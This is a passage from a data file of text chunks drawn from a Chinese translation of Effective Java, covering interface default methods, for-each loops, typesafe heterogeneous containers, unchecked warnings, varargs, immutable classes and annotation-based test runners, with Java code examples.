(filter.test(it.next())) { it.remove(); result = true ; } } return result; } 这是可能为 removeIf 方法编写的最好的通用实现，但遗憾的是，它在一些实际的 Collection 实现中失败了。 例如，考虑 org.apache.commons.collections4.collection.SynchronizedCollection 方法。 这个类出自 Apache Commons 类库中，与 java.util 包中的静态工厂 Collections.synchronizedCollection 方法返回的类相似。 Apache 版本还提供了使用客户端提供的对象进行锁定的能力，以代替集合。 换句话说，它是一个包装类（条目 18），它们的所有方法在委托给包装集合类之前在一个锁定对象上进行同步。 Apache 的 SynchronizedCollection 类仍然在积极维护，但在撰写本文时，并未重写 removeIf 方法。 如果这个类与 Java 8 一起使用，它将继承 removeIf 的默认实现，但实际上不能保持类的基本承诺：自动同步每个方法调用。 默认实现对同步一无所知，并且不能访问包含锁定对象的属性。 如果客户端在另一个线程同时修改集合的情况下调用 SynchronizedCollection 实例上的 removeIf 方法，则可能会导致 ConcurrentModificationException 异常或其他未指定的行为。 为了防止在类似的 Java 平台类库实现中发生这种情况，比如 Collections.synchronizedCollection 返回的包级私有的类，JDK 维护者必须重写默认的 removeIf 实现和其他类似的方法来在调用默认实现之前执行必要的同步。 原来不属于 Java 平台的集合实现没有机会与接口更改进行类似的改变，有些还没有这样做。 在默认方法的情况下，接口的现有实现类可以在没有错误或警告的情况下编译，但在运行时会失败。 虽然不是非常普遍，但这个问题也不是一个孤立的事件。 在 Java 8 中添加到集合接口的一些方法已知是易受影响的，并且已知一些现有的实现会受到影响。 应该避免使用默认方法向现有的接口添加新的方法，除非这个需要是关键的，在这种情况下，你应该仔细考虑，以确定现有的接口实现是否会被默认的方法实现所破坏。然而，默认方法对于在创建接口时提供标准的方法实现非常有用，以减轻实现接口的任务（条目 20）。 还值得注意的是，默认方法不是被用来设计，来支持从接口中移除方法或者改变现有方法的签名的目的。在不破坏现有客户端的情况下，这些接口都不可能发生更改。 准则是清楚的。 尽管默认方法现在是 Java 平台的一部分， 但是非常悉心地设计接口仍然是非常重要的。 虽然默认方法可以将方法添加到现有的接口，但这样做有很大的风险。 如果一个接口包含一个小缺陷，可能会永远惹怒用户。 如果一个接口严重缺陷，可能会破坏包含它的 API。 因此，在发布之前测试每个新接口是非常重要的。 多个程序员应该以不同的方式实现每个接口。 至少，你应该准备三种不同的实现。 编写多个使用每个新接口的实例来执行各种任务的客户端程序同样重要。 这将大大确保每个接口都能满足其所有的预期用途。 这些步骤将允许你在发布之前发现接口中的缺陷，但仍然可以轻松地修正它们。 虽然在接口被发布后可能会修正一些存在的缺陷，但不要太指望这一点。"},
    {"text": "58. for-each 循环优于传统 for 循环.md 58. for-each 循环优于传统 for 循环.md 58. for-each 循环优于传统 for 循环 正如在条目 45 中所讨论的，一些任务最好使用 Stream 来完成，一些任务最好使用迭代。"},
    {"text": "下面是一个传统的 for 循环来遍历一个集合: // Not the best way to iterate over a collection! for (Iterator<Element> i = c.iterator(); i.hasNext(); ) { Element e = i.next(); ... // Do something with e } 下面是迭代数组的传统 for 循环的实例： // Not the best way to iterate over an array! for ( int i = 0 ; i < a.length; i++) { ... // Do something with a[i] } 这些习惯用法比 while 循环更好（详见第 57 条），但是它们并不完美。"},
    {"text": "由此产生的习惯用法同样适用于集合和数组，从而简化了将容器的实现类型从一种转换为另一种的过程: // The preferred idiom for iterating over collections and arrays for (Element e : elements) { ... // Do something with e } 当看到冒号 (:) 时，请将其读作“in”。"},
    {"text": "下面是人们在进行嵌套迭代时经常犯的一个错误: // Can you spot the bug? enum Suit { CLUB, DIAMOND, HEART, SPADE } enum Rank { ACE, DEUCE, THREE, FOUR, FIVE, SIX, SEVEN, EIGHT, NINE, TEN, JACK, QUEEN, KING } ... static Collection<Suit> suits = Arrays.asList(Suit.values()); static Collection<Rank> ranks = Arrays.asList(Rank.values()); List<Card> deck = new ArrayList<>(); for (Iterator<Suit> i = suits.iterator(); i.hasNext(); ) for (Iterator<Rank> j = ranks.iterator(); j.hasNext(); ) deck.add( new Card(i.next(), j.next())); 如果没有发现这个 bug，也不必感到难过。"},
    {"text": "例如，考虑这种错误的尝试，打印一对骰子的所有可能的掷法： // Same bug, different symptom! enum Face { ONE, TWO, THREE, FOUR, FIVE, SIX } ... Collection<Face> faces = EnumSet.allOf(Face.class); for (Iterator<Face> i = faces.iterator(); i.hasNext(); ) for (Iterator<Face> j = faces.iterator(); j.hasNext(); ) System.out.println(i.next() + \" \" + j.next()); 该程序不会抛出异常，但它只打印 6 个重复的组合 (从“ONE ONE”到“SIX SIX”)，而不是预期的 36 个组合。"},
    {"text": "要修复例子中的错误，必须在外部循环的作用域内添加一个变量来保存外部元素: / Fixed, but ugly - you can do better! for (Iterator<Suit> i = suits.iterator(); i.hasNext(); ) { Suit suit = i.next(); for (Iterator<Rank> j = ranks.iterator(); j.hasNext(); ) deck.add( new Card(suit, j.next())); } 相反，如果使用嵌套 for-each 循环，问题就会消失。 生成的代码也尽可能地简洁: // Preferred idiom for nested iteration on collections and arrays for (Suit suit : suits) for (Rank rank : ranks) deck.add( new Card(suit, rank)); 但是，有三种常见的情况是你不能分别使用 for-each 循环的: 有损过滤（Destructive filtering） ——如果需要遍历集合，并删除指定选元素，则需要使用显式迭代器，以便可以调用其 remove 方法。"},
    {"text": "并行迭代 ——如果需要并行地遍历多个集合，那么需要显式地控制迭代器或索引变量，以便所有迭代器或索引变量都可以同步进行 (正如上面错误的 card 和 dice 示例中无意中演示的那样)。"},
    {"text": "接口定义如下： public interface Iterable < E > { // Returns an iterator over the elements in this iterable Iterator<E> iterator () ; } 如果必须从头开始编写自己的 Iterator 实现，那么实现 Iterable 会有点棘手，但是如果你正在编写表示一组元素的类型，那么你应该强烈考虑让它实现 Iterable 接口，甚至可以选择不让它实现 Collection 接口。"},
    {"text": "33. 优先考虑类型安全的异构容器.md 33. 优先考虑类型安全的异构容器.md 33. 优先考虑类型安全的异构容器 泛型的常见用法包括集合，如 Set<E > 和 Map<K，V> 和单个元素容器，如 ThreadLocal<T> 和 AtomicReference<T> 。"},
    {"text": "其原因是这 Class 类是泛型的。 类的类型从字面上来说不是简单的 Class ，而是 Class<T> 。 例如， String.class 的类型为 Class<String> ， Integer.class 的类型为 Class<Integer> 。"},
    {"text": "这里是 API： // Typesafe heterogeneous container pattern - API public class Favorites { public <T> void putFavorite (Class<T> type, T instance) ; public <T> T getFavorite (Class<T> type) ; } 下面是一个演示 Favorites 类，保存，检索和打印喜欢的 String ， Integer 和 Class 实例： // Typesafe heterogeneous container pattern - client public static void main (String[] args) { Favorites f = new Favorites(); f.putFavorite(String.class, \"Java\" ); f.putFavorite(Integer.class, 0xcafebabe ); f.putFavorite(Class.class, Favorites.class); String favoriteString = f.getFavorite(String.class); int favoriteInteger = f.getFavorite(Integer.class); Class<?> favoriteClass = f.getFavorite(Class.class); System.out.printf( \"%s %x %s%n\" , favoriteString, favoriteInteger, favoriteClass.getName()); } 正如你所期望的，这个程序打印 Java cafebabe Favorites 。"},
    {"text": "这是完整的代码： // Typesafe heterogeneous container pattern - implementation public class Favorites { private Map<Class<?>, Object> favorites = new HashMap<>(); public <T> void putFavorite (Class<T> type, T instance) { favorites.put(Objects.requireNonNull(type), instance); } public <T> T getFavorite (Class<T> type) { return type.cast(favorites.get(type)); } } 这里有一些微妙的事情发生。"},
    {"text": "只需使用动态转换： // Achieving runtime type safety with a dynamic cast public <T> void putFavorite (Class<T> type, T instance) { favorites.put(type, type.cast(instance)); } java.util.Collections 中有一些集合包装类，可以发挥相同的诀窍。"},
    {"text": "换句话说，你可以保存你最喜欢的 String 或 String[] ，但不能保存 List<String> 。 如果你尝试保存你最喜欢的 List<String> ，程序将不能编译。 原因是无法获取 List<String> 的 Class 对象。 List<String>.class 是语法错误，也是一件好事。 List<String> 和 List<Integer> 共享一个 Class 对象，即 List.class 。 如果“字面类型（type literals）” List<String> .clas s 和 List<Integer>.class 合法并返回相同的对象引用，那么它会对 Favorites 对象的内部造成严重破坏。"},
    {"text": "这可以通过一个有限定的类型令牌来实现，该令牌只是一个类型令牌，它使用限定的类型参数（条目 30）或限定的通配符（条目 31）来放置可以表示的类型的边界。"},
    {"text": "此方法来自 AnnotatedElement 接口，该接口由表示类，方法，属性和其他程序元素的反射类型实现： public <T extends Annotation> T getAnnotation (Class<T> annotationType) ; 参数 annotationType 是表示注解类型的限定类型令牌。"},
    {"text": "此方法编译时没有错误或警告： // Use of asSubclass to safely cast to a bounded type token static Annotation getAnnotation (AnnotatedElement element, String annotationTypeName) { Class<?> annotationType = null ; // Unbounded type token try { annotationType = Class.forName(annotationTypeName); } catch (Exception ex) { throw new IllegalArgumentException(ex); } return element.getAnnotation( annotationType.asSubclass(Annotation.class)); } 总之，泛型 API 的通常用法（以集合 API 为例）限制了每个容器的固定数量的类型参数。"},
    {"text": "27. 消除非检查警告.md 27. 消除非检查警告.md 27. 消除非检查警告 使用泛型编程时，会看到许多编译器警告：未经检查的强制转换警告，未经检查的方法调用警告，未经检查的参数化可变长度类型警告以及未经检查的转换警告。 你使用泛型获得的经验越多，获得的警告越少，但不要期望新编写的代码能够干净地编译。 许多未经检查的警告很容易消除。 例如，假设你不小心写了以下声明： Set<Lark> exaltation = new HashSet(); 编译器会提醒你你做错了什么： Venery.java: 4 : warning: [unchecked] unchecked conversion Set<Lark> exaltation = new HashSet(); ^ required: Set<Lark> found: HashSet。 然后可以进行指示修正，让警告消失。 请注意，实际上并不需要指定类型参数，只是为了表明它与 Java 7 中引入的钻石运算符（\"<>\"）一同出现。然后编译器会推断出正确的实际类型参数（在本例中为 Lark ）： Set<Lark> exaltation = new HashSet<>(); 但一些警告更难以消除。 本章充满了这种警告的例子。 当你收到需要进一步思考的警告时，坚持不懈！ 尽可能地消除每一个未经检查的警告。 如果你消除所有的警告，你可以放心，你的代码是类型安全的，这是一件非常好的事情。 这意味着在运行时你将不会得到一个 ClassCastException 异常，并且增加了你的程序将按照你的意图行事的信心。 如果你不能消除警告，但你可以证明引发警告的代码是类型安全的，那么（并且只能这样）用 @SuppressWarnings(“unchecked”) 注解来抑制警告。 如果你在没有首先证明代码是类型安全的情况下压制警告，那么你给自己一个错误的安全感。 代码可能会在不发出任何警告的情况下进行编译，但是它仍然可以在运行时抛出 ClassCastException 异常。 但是，如果你忽略了你认为是安全的未经检查的警告（而不是抑制它们），那么当一个新的警告出现时，你将不会注意到这是一个真正的问题。 新出现的警告就会淹没在所有的错误警告当中。 SuppressWarnings 注解可用于任何声明，从单个局部变量声明到整个类。 始终在尽可能最小的范围内使用 SuppressWarnings 注解。 通常这是一个变量声明或一个非常短的方法或构造方法。 切勿在整个类上使用 SuppressWarnings 注解。 这样做可能会掩盖重要的警告。 如果你发现自己在长度超过一行的方法或构造方法上使用 SuppressWarnings 注解，则可以将其移到局部变量声明上。 你可能需要声明一个新的局部变量，但这是值得的。 例如，考虑这个来自 ArrayList 的 toArray 方法： public <T> T[] toArray(T[] a) { if (a.length < size) return (T[]) Arrays.copyOf(elements, size, a.getClass()); System.arraycopy(elements, 0 , a, 0 , size); if (a.length > size) a[size] = null ; return a; } 如果编译 ArrayList 类，则该方法会生成此警告： ArrayList.java: 305 : warning: [unchecked] unchecked cast return (T[]) Arrays. copyOf (elements, size, a.getClass() ) ; ^ required: T[] found: Object[] 在返回语句中设置 SuppressWarnings 注解是非法的，因为它不是一个声明[JLS，9.7]。 你可能会试图把注释放在整个方法上，但是不要这要做。 相反，声明一个局部变量来保存返回值并标注它的声明，如下所示： // Adding local variable to reduce scope of @SuppressWarnings public <T> T[] toArray(T[] a) { if (a.length < size) { // This cast is correct because the array we're creating // is of the same type as the one passed in, which is T[]. @SuppressWarnings ( \"unchecked\" ) T[] result = (T[]) Arrays.copyOf(elements, size, a.getClass()); return result; } System.arraycopy(elements, 0 , a, 0 , size); if (a.length > size) a[size] = null ; return a; } 所产生的方法干净地编译，并最小化未经检查的警告被抑制的范围。 每当使用 @SuppressWarnings(“unchecked”) 注解时，请添加注释，说明为什么是安全的。 这将有助于他人理解代码，更重要的是，这将减少有人修改代码的可能性，从而使计算不安全。 如果你觉得很难写这样的注释，请继续思考。 毕竟，你最终可能会发现未经检查的操作是不安全的。 总之，未经检查的警告是重要的。 不要忽视他们。 每个未经检查的警告代表在运行时出现 ClassCastException 异常的可能性。 尽你所能消除这些警告。 如果无法消除未经检查的警告，并且可以证明引发该警告的代码是安全类型的，则可以在尽可能小的范围内使用 @SuppressWarnings(“unchecked”) 注解来禁止警告。 记录你决定在注释中抑制此警告的理由。"},
    {"text": "51. 仔细设计方法签名.md 51. 仔细设计方法签名.md 51. 仔细设计方法签名 这一条目是 API 设计提示的大杂烩，但它们本身并足以设立一个单独的条目。综合起来，这些设计提示将帮助你更容易地学习和使用 API，并且更不容易出错。 仔细选择方法名名称 。名称应始终遵守标准命名约定 (条目 68)。你的主要目标应该是选择与同一包中的其他名称一致且易于理解的名称。其次是应该是选择与更广泛的共识一致的名称。避免使用较长的方法名。如果有疑问，可以从 Java 类库 API 中寻求指导。尽管类库中也存在许多不一致之处 (考虑到这些类库的规模和范围，这是不可避免的)，也提供了相当客观的认可和共识。 不要过分地提供方便的方法 。每种方法都应该“尽其所能”。太多的方法使得类难以学习、使用、文档化、测试和维护。对于接口更是如此，在接口中，太多的方法使实现者和用户的工作变得复杂。对于类或接口支持的每个操作，提供一个功能完整的方法。只有在经常使用时，才考虑提供“快捷方式（shortcut）”。 如果有疑问，请将其删除 。 避免过长的参数列表 。目标是四个或更少的参数。大多数程序员不能记住更长的参数列表。如果你的许多方法超过了这个限制，如果未经常引用其文档的情况下，那么你的 API 将无法使用。现代 IDE 编辑器会提供帮助，但是使用简短的参数列表仍然会更好。 相同类型参数的长序列尤其有害 。用户不仅不能记住参数的顺序，而且当他们意外地弄错参数顺序时，他们的程序仍然会编译和运行。只是不会按照作者的意图去执行。 有三种技术可以缩短过长的参数列表。 一种方法是将方法分解为多个方法，每个方法只需要参数的一个子集。 如果不小心，这可能会导致太多方法，但它也可以通过增加正交性（orthogonality）来减少方法个数。 例如，考虑 java.util.List 接口。 它没有提供查找子列表中元素的第一个或最后一个索引的方法，这两个索引都需要三个参数。 相反，它提供了 subList 方法，该方法接受两个参数并返回子列表的视图。 此方法可以与 indexOf 或 lastIndexOf 方法结合使用，这两个方法都有一个参数，以生成所需的功能。 此外， subList 方法可以与在 List 实例上操作的任何方法组合，以对子列表执行任意计算。 得到的 API 具有非常高的功率重量 ( power-to-weight) 比。 缩短过长参数列表的第二种技术是创建辅助类来保存参数组。这些辅助类通常是静态成员类 (条目 24)。如果看到一个频繁出现的参数序列表示某个不同的实体，建议使用这种技术。例如，假设正在编写一个表示纸牌游戏的类，并且发现不断地传递一个由两个参数组成的序列，这些参数表示纸牌的点数和花色。如果添加一个辅助类来表示卡片，并用辅助类的单个参数替换参数序列的每次出现，那么 API 和类的内部结构可能会受益。 结合前两个方面的第三种技术是，从对象构造到方法调用采用 Builder 模式 (条目 2)。如果你有一个方法有许多参数，特别是其中一些是可选的，那么可以定义一个对象来表示所有的参数，并允许客户端在这个对象上进行多个 \"setter\" 调用，每次设置一个参数或较小相关的组。设置好所需的参数后，客户端调用对象的 \"execute\" 方法，该方法对参数进行最后的有效性检查，并执行实际的计算。 对于参数类型，优先选择接口而不是类 (条目 64)。如果有一个合适的接口来定义一个参数，那么使用它来支持一个实现该接口的类。例如，没有理由在编写方法时使用 HashMap 作为输入参数，相反，而是使用 Map 作为参数，这允许传入 HashMap、TreeMap、ConcurrentHashMap、TreeMap 的子 Map（submap）或任何尚未编写的 Map 实现。通过使用的类而不是接口，就把客户端限制在特定的实现中，如果输入数据碰巧以其他形式存在，则强制执行不必要的、代价高昂的复制操作。 与布尔型参数相比，优先使用两个元素枚举类型 ，除非布尔型参数的含义在方法名中是明确的。枚举类型使代码更容易阅读和编写。此外，它们还可以方便地在以后添加更多选项。例如，你可能有一个 Thermometer 类型的静态工厂方法，这个方法的签名是以下这个枚举： public enum TemperatureScale { FAHRENHEIT, CELSIUS } Thermometer.newInstance(TemperatureScale.CELSIUS) 不仅比 Thermometer.newInstance(true) 更有意义，而且可以在将来的版本中将 KELVIN 添加到 TemperatureScale 中，而无需向 Thermometer 添加新的静态工厂。 此外，还可以将温度刻度（temperature-scale）依赖关系重构为枚举常量的方法（条目 34）。 例如，每个刻度常量可以有一个采用 double 值并将其转换为 Celsius 的方法。"},
    {"text": "53. 明智审慎地使用可变参数.md 53. 明智审慎地使用可变参数.md 53. 明智审慎地使用可变参数 可变参数方法正式名称称为可变的参数数量方法『variable arity methods』 [JLS, 8.4.1]，接受零个或多个指定类型的参数。 可变参数机制首先创建一个数组，其大小是在调用位置传递的参数数量，然后将参数值放入数组中，最后将数组传递给方法。 例如，这里有一个可变参数方法，它接受一系列 int 类型的参数并返回它们的总和。如你所料， sum(1,2,3) 的值为 6， sum() 的值为 0： // Simple use of varargs static int sum ( int ... args) { int sum = 0 ; for ( int arg : args) sum += arg; return sum; } 有时，编写一个需要某种类型的一个或多个参数的方法是合适的，而不是零或更多。 例如，假设要编写一个计算其多个参数最小值的方法。 如果客户端不传递任何参数，则此方法定义不明确。 你可以在运行时检查数组长度： // The WRONG way to use varargs to pass one or more arguments! static int min ( int ... args) { if (args.length == 0 ) throw new IllegalArgumentException( \"Too few arguments\" ); int min = args[ 0 ]; for ( int i = 1 ; i < args.length; i++) if (args[i] < min) min = args[i]; return min; } 该解决方案存在几个问题。 最严重的是，如果客户端在没有参数的情况下调用此方法，则它在运行时而不是在编译时失败。 另一个问题是它很难看。 必须在 args 参数上包含显式有效性检查，除非将 min 初始化为 Integer.MAX_VALUE ，否则不能使用 for-each 循环，这也很难看。 幸运的是，有一种更好的方法可以达到预期的效果。 声明方法采用两个参数，一个指定类型的普通参数，另一个此类型的可变参数。 该解决方案纠正了前一个示例的所有缺陷： // The right way to use varargs to pass one or more arguments static int min ( int firstArg, int ... remainingArgs) { int min = firstArg; for ( int arg : remainingArgs) if (arg < min) min = arg; return min; } 从这个例子中可以看出，在需要参数数量可变的方法时，可变参数是有效的。可变参数是为 printf 方法而设计的，该方法与可变参数同时添加到 Java 平台中，以及包括经过改造的核心反射机制。 printf 和反射机制都从可变参数中受益匪浅。 在性能关键的情况下使用可变参数时要小心。每次调用可变参数方法都会导致数组分配和初始化。如果你从经验上确定负担不起这个成本，但是还需要可变参数的灵活性，那么有一种模式可以让你鱼与熊掌兼得。假设你已确定 95％ 的调用是三个或更少的参数的方法，那么声明该方法的五个重载。每个重载方法包含 0 到 3 个普通参数，当参数数量超过 3 个时，使用一个可变参数方法: public void foo () { } public void foo ( int a1) { } public void foo ( int a1, int a2) { } public void foo ( int a1, int a2, int a3) { } public void foo ( int a1, int a2, int a3, int ... rest) { } 现在你知道，在所有参数数量超过 3 个的方法调用中，只有 5%的调用需要支付创建数组的成本。与大多数性能优化一样，这种技术通常不太合适，但一旦真正需要的时候，它是一个救星。 EnumSet 的静态工厂使用这种技术将创建枚举集合的成本降到最低。这是适当的，因为枚举集合为比特属性提供具有性能竞争力的替换（performance-competitive replacement for bit fields）是至关重要的 (条目 36)。 总之，当需要使用可变数量的参数定义方法时，可变参数非常有用。 在使用可变参数前加上任何必需的参数，并注意使用可变参数的性能后果。"},
    {"text": "另外，如果一个新创建的实例的引用从一个线程传递到另一个线程而没有同步，就必须保证正确的行为，正如内存模型[JLS，17.5; Goetz06,16] 所述。"},
    {"text": "虽然技术上允许不可变类具有包含基本类型数值的公共 final 属性或对不可变对象的引用，但不建议这样做，因为它不允许在以后的版本中更改内部表示（条目 15 和 16）。"},
    {"text": "如果你的类有任何引用可变对象的属性，请确保该类的客户端无法获得对这些对象的引用。 切勿将这样的属性初始化为客户端提供的对象引用，或从访问方法返回属性。"},
    {"text": "这是一个稍微复杂一点的例子： // Immutable complex number class public final class Complex { private final double re; private final double im; public Complex ( double re, double im) { this .re = re; this .im = im; } public double realPart () { return re; } public double imaginaryPart () { return im; } public Complex plus (Complex c) { return new Complex(re + c.re, im + c.im); } public Complex minus (Complex c) { return new Complex(re - c.re, im - c.im); } public Complex times (Complex c) { return new Complex(re * c.re - im * c.im, re * c.im + im * c.re); } public Complex dividedBy (Complex c) { double tmp = c.re * c.re + c.im * c.im; return new Complex((re * c.re + im * c.im) / tmp, (im * c.re - re * c.im) / tmp); } @Override public boolean equals (Object o) { if (o == this ) { return true ; } if (!(o instanceof Complex)) { return false ; } Complex c = (Complex) o; // See page 47 to find out why we use compare instead of == return Double.compare(c.re, re) == 0 && Double.compare(c.im, im) == 0 ; } @Override public int hashCode () { return 31 * Double.hashCode(re) + Double.hashCode(im); } @Override public String toString () { return \"(\" + re + \" + \" + im + \"i)\" ; } } 这个类代表了一个复数（包含实部和虚部的数字）。"},
    {"text": "例如， Complex 类可能提供这些常量： public static final Complex ZERO = new Complex( 0 , 0 ); public static final Complex ONE = new Complex( 1 , 0 ); public static final Complex I = new Complex( 0 , 1 ); 这种方法可以更进一步。"},
    {"text": "使用这样的静态工厂会使客户端共享实例而不是创建新实例，从而减少内存占用和垃圾回收成本。 在设计新类时，选择静态工厂代替公共构造方法，可以在以后增加缓存的灵活性，而不需要修改客户端。"},
    {"text": "这一原则的特例是，不可变对象可以构成 Map 对象的键和 Set 的元素，一旦不可变对象作为 Map 的键或 Set 里的元素，即使破坏了 Map 和 Set 的不可变性，但不用担心它们的值会发生变化。"},
    {"text": "例如，假设你有一个百万位的 BigInteger ，你想改变它的低位： BigInteger moby = ...; moby = moby.flipBit( 0 ); flipBit 方法创建一个新的 BigInteger 实例，也是一百万位长，与原始位置只有一位不同。"},
    {"text": "BitSet 类提供了一种方法，允许你在固定时间内更改百万位实例中单个位的状态： BitSet moby = ...; moby.flip( 0 ); 如果执行一个多步操作，在每一步生成一个新对象，除最终结果之外丢弃所有对象，则性能问题会被放大。"},
    {"text": "为了具体说明这种方法，下面以 Complex 为例，看看如何使用这种方法： // Immutable class with static factories instead of constructors public class Complex { private final double re; private final double im; private Complex ( double re, double im) { this .re = re; this .im = im; } public static Complex valueOf ( double re, double im) { return new Complex(re, im); } ... // Remainder unchanged } 这种方法往往是最好的选择。"},
    {"text": "如果你编写一个安全性取决于来自不受信任的客户端的 BigInteger 或 BigDecimal 参数的不变类时，则必须检查该参数是“真实的” BigInteger 还是 BigDecimal ，而不应该是不受信任的子类的实例。"},
    {"text": "如果是后者，则必须在假设可能是可变的情况下保护性拷贝（defensively copy）（条目 50）： public static BigInteger safeInstance (BigInteger val) { return val.getClass() == BigInteger.class ? val : new BigInteger(val.toByteArray()); } 在本条目开头关于不可变类的规则说明，没有方法可以修改对象，并且它的所有属性必须是 final 的。"},
    {"text": "如果你选择使您的不可变类实现 Serializable 接口，并且它包含一个或多个引用可变对象的属性，则必须提供显式的 readObject 或 readResolve 方法，或者使用 ObjectOutputStream.writeUnshared 和 ObjectInputStream.readUnshared 方法，即默认的序列化形式也是可以接受的。"},
    {"text": "因此，除非有足够的理由把属性设置为非 final 的情况下，否则应该每个属性都设置为 final 的。 把本条目的建议与条目 15 的建议结合起来，你自然的倾向就是： 除非有充分的理由不这样做，否则应该把每个属性声明为私有 final 的。"},
    {"text": "它对复数使用了乘法和除法的标准公式，这些公式不正确会进行不正确的四舍五入，没有为复数的 NaN 和无穷大提供良好的语义[Kahan91，Smith62，Thomas94]。"},
    {"text": "39. 注解优于命名模式.md 39. 注解优于命名模式.md 39. 注解优于命名模式 过去，通常使用命名模式（naming patterns）来指示某些程序元素需要通过工具或框架进行特殊处理。"},
    {"text": "以下是名为 Test 的这种注解类型的定义： // Marker annotation type declaration import java.lang.annotation.*; /** * Indicates that the annotated method is a test method. * Use only on parameterless static methods. */ @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface Test { } Test 注解类型的声明本身使用 Retention 和 Target 注解进行标记。"},
    {"text": "在缺少这种注解处理器的情况下，如果将 Test 注解放在实例方法声明或带有一个或多个参数的方法上，那么测试程序仍然会编译，并将其留给测试工具在运行时来处理这个问题 。"},
    {"text": "// Program containing marker annotations public class Sample { @Test public static void m1 () { } // Test should pass public static void m2 () { } @Test public static void m3 () { // Test should fail throw new RuntimeException( \"Boom\" ); } public static void m4 () { } @Test public void m5 () { } // INVALID USE: nonstatic method public static void m6 () { } @Test public static void m7 () { // Test should fail throw new RuntimeException( \"Crash\" ); } public static void m8 () { } } Sample 类有七个静态方法，其中四个被标注为 Test 。"},
    {"text": "更一般地说，注解不会改变注解代码的语义，但可以通过诸如这个简单的测试运行器等工具对其进行特殊处理： // Program to process marker annotations import java.lang.reflect.*; public class RunTests { public static void main (String[] args) throws Exception { int tests = 0 ; int passed = 0 ; Class<?> testClass = Class.forName(args[ 0 ]); for (Method m : testClass.getDeclaredMethods()) { if (m.isAnnotationPresent(Test.class)) { tests++; try { m.invoke( null ); passed++; } catch (InvocationTargetException wrappedExc) { Throwable exc = wrappedExc.getCause(); System.out.println(m + \" failed: \" + exc); } catch (Exception exc) { System.out.println( \"Invalid @Test: \" + m); } } } System.out.printf( \"Passed: %d, Failed: %d%n\" , passed, tests - passed); } } 测试运行器工具在命令行上接受完全限定的类名，并通过调用 Method.invoke 来反射地运行所有类标记有 Test 注解的方法。"},
    {"text": "该工具捕获此异常并打印包含由 test 方法抛出的原始异常的故障报告，该方法是使用 getCause 方法从 InvocationTargetException 中提取的。 如果尝试通过反射调用测试方法会抛出除 InvocationTargetException 之外的任何异常，则表示编译时未捕获到没有使用的 Test 注解。"},
    {"text": "这是在 RunTests 在 Sample 上运行时打印的输出： public static void Sample.m3() failed: RuntimeException: Boom Invalid @Test : public void Sample.m5() public static void Sample.m7() failed: RuntimeException: Crash Passed: 1 , Failed: 3 现在，让我们添加对仅在抛出特定异常时才成功的测试的支持。"},
    {"text": "我们需要为此添加一个新的注解类型： // Annotation type with a parameter import java.lang.annotation.*; /** * Indicates that the annotated method is a test method that * must throw the designated exception to succeed. */ @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface ExceptionTest { Class<? extends Throwable> value(); } 此注解的参数类型是 Class<? extends Throwable> 。"},
    {"text": "请注意，类名字被用作注解参数值： // Program containing annotations with a parameter public class Sample2 { @ExceptionTest (ArithmeticException.class) public static void m1 () { // Test should pass int i = 0 ; i = i / i; } @ExceptionTest (ArithmeticException.class) public static void m2 () { // Should fail (wrong exception) int [] a = new int [ 0 ]; int i = a[ 1 ]; } @ExceptionTest (ArithmeticException.class) public static void m3 () { } // Should fail (no exception) } 现在让我们修改测试运行器工具来处理新的注解。 这样将包括将以下代码添加到 main 方法中： if (m.isAnnotationPresent(ExceptionTest.class)) { tests++; try { m.invoke( null ); System.out.printf( \"Test %s failed: no exception%n\" , m); } catch (InvocationTargetException wrappedEx) { Throwable exc = wrappedEx.getCause(); Class<? extends Throwable> excType = m.getAnnotation(ExceptionTest.class).value(); if (excType.isInstance(exc)) { passed++; } else { System.out.printf( \"Test %s failed: expected %s, got %s%n\" , m, excType.getName(), exc); } } catch (Exception exc) { System.out.println( \"Invalid @Test: \" + m); } } 此代码与我们用于处理 Test 注解的代码类似，只有一个例外：此代码提取注解参数的值并使用它来检查测试引发的异常是否属于正确的类型。"},
    {"text": "测试程序编译的事实保证其注解参数代表有效的异常类型，但有一点需要注意：如果注解参数在编译时有效，但代表指定异常类型的类文件在运行时不再存在，则测试运行器将抛出 TypeNotPresentException 异常。"},
    {"text": "假设我们将 ExceptionTest 注解的参数类型更改为 Class 对象数组： // Annotation type with an array parameter @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface ExceptionTest { Class<? extends Exception>[] value(); } 注解中数组参数的语法很灵活。"},
    {"text": "要指定一个多元素数组，请使用花括号将这些元素括起来，并用逗号分隔它们： // Code containing an annotation with an array parameter @ExceptionTest ({ IndexOutOfBoundsException.class, NullPointerException.class }) public static void doublyBad () { List<String> list = new ArrayList<>(); // The spec permits this method to throw either // IndexOutOfBoundsException or NullPointerException list.addAll( 5 , null ); } 修改测试运行器工具以处理新版本的 ExceptionTest 是相当简单的。"},
    {"text": "此代码替换原始版本： if (m.isAnnotationPresent(ExceptionTest.class)) { tests++; try { m.invoke( null ); System.out.printf( \"Test %s failed: no exception%n\" , m); } catch (Throwable wrappedExc) { Throwable exc = wrappedExc.getCause(); int oldPassed = passed; Class<? extends Exception>[] excTypes = m.getAnnotation(ExceptionTest.class).value(); for (Class<? extends Exception> excType : excTypes) { if (excType.isInstance(exc)) { passed++; break ; } } if (passed == oldPassed) System.out.printf( \"Test %s failed: %s %n\" , m, exc); } } 从 Java 8 开始，还有另一种方法来执行多值注解。"},
    {"text": "可以使用 @Repeatable 元注解来标示注解的声明，而不用使用数组参数声明注解类型，以指示注解可以重复应用于单个元素。 该元注解采用单个参数，该参数是包含注解类型的类对象，其唯一参数是注解类型[JLS，9.6.3] 的数组。"},
    {"text": "请注意，包含注解类型必须使用适当的保留策略和目标进行注解，否则声明将无法编译： // Repeatable annotation type @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) @Repeatable (ExceptionTestContainer.class) public @interface ExceptionTest { Class<? extends Exception> value(); } @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface ExceptionTestContainer { ExceptionTest[] value(); } 下面是我们的 doublyBad 测试用一个重复的注解代替基于数组值注解的方式: // Code containing a repeated annotation @ExceptionTest (IndexOutOfBoundsException.class) @ExceptionTest (NullPointerException.class) public static void doublyBad () { ... } 处理可重复的注解需要注意。"},
    {"text": "使用此方法检查注解类型的存在会因此导致程序默默忽略重复的注解。 同样，使用此方法检查包含的注解类型将导致程序默默忽略不重复的注释。"},
